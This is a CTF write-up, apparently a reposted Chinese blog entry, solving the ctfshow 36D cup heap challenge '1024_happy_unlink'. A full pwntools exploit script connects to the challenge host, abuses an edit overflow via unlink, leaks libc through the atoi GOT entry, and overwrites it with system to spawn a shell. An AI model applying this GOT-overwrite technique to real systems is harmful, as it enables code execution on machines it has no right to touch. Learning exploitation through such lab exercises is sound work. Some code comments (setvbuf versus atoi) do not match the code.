当前位置:   article > 正文

ctfshow-36D杯-pwn(1024_happy_unlink )_ctfshow 36d杯 《jojo的奇妙冒险》

ctfshow 36d杯 《jojo的奇妙冒险》

一道很简单的unlink堆题目话不多说先上exp:
 

  1. from pwn import *
  2. context.log_level = 'debug'
  3. r = remote('pwn.challenge.ctf.show',28109)
  4. libc = ELF("./libc.so-1.6")
  5. def add(idx,size):
  6. r.recvuntil('choice')
  7. r.sendline('1')
  8. r.recvuntil('idx:')
  9. r.sendline(str(idx))
  10. r.recvuntil('size')
  11. r.sendline(str(size))
  12. def delete(idx):
  13. r.recvuntil('choice')
  14. r.sendline('2')
  15. r.recvuntil('idx:')
  16. r.sendline(str(idx))
  17. def show(idx):
  18. r.recvuntil('choice')
  19. r.sendline('3')
  20. r.recvuntil('idx:')
  21. r.sendline(str(idx))
  22. def edit(idx,content):
  23. r.recvuntil('choice')
  24. r.sendline('4')
  25. r.recvuntil('idx:')
  26. r.sendline(str(idx))
  27. r.recvuntil('content')
  28. r.sendline(content)
  29. add(0,0x20)
  30. add(1,0x38)
  31. add(2,0x80)
  32. add(4,0x20)
  33. target = 0x6020e0+0x10#存放堆块索引的地址
  34. fd = target - 0x18
  35. bk = target - 0x10
  36. payload = p64(0)+p64(0x30)+p64(fd)+p64(bk)+b"a"*0x10+p64(0x30)+p64(0x90)
  37. edit(1,payload)
  38. delete(2)
  39. payload = b'a'*8+p64(0x602058)+p64(8)+p64(0x602058)+p64(8) #setvbuf
  40. edit(1,payload)
  41. show(1)
  42. r.recv(1)
  43. leak_addr = u64(r.recv(6)+b'\x00\x00') #__GI__IO_setvbuf
  44. libc.address = leak_addr - libc.sym['atoi']
  45. success("libc_base --> 0x%x",libc.address)
  46. info("puts_got --> 0x%x",libc.sym['puts'])
  47. info("system_got --> 0x%x",libc.sym['system'])
  48. edit(1,p64(libc.sym['system']))
  49. r.sendline(b'sh')
  50. r.interactive()

先利用ida反汇编静态分析:

在edit函数上存在溢出

可以利用unlink把堆得地址挪移到target处,这样利用edit就可以把atoi地址写入进去,然后show得到,最后在修改堆地址就可以把atoi替换成system,传入payload成功getshell

声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号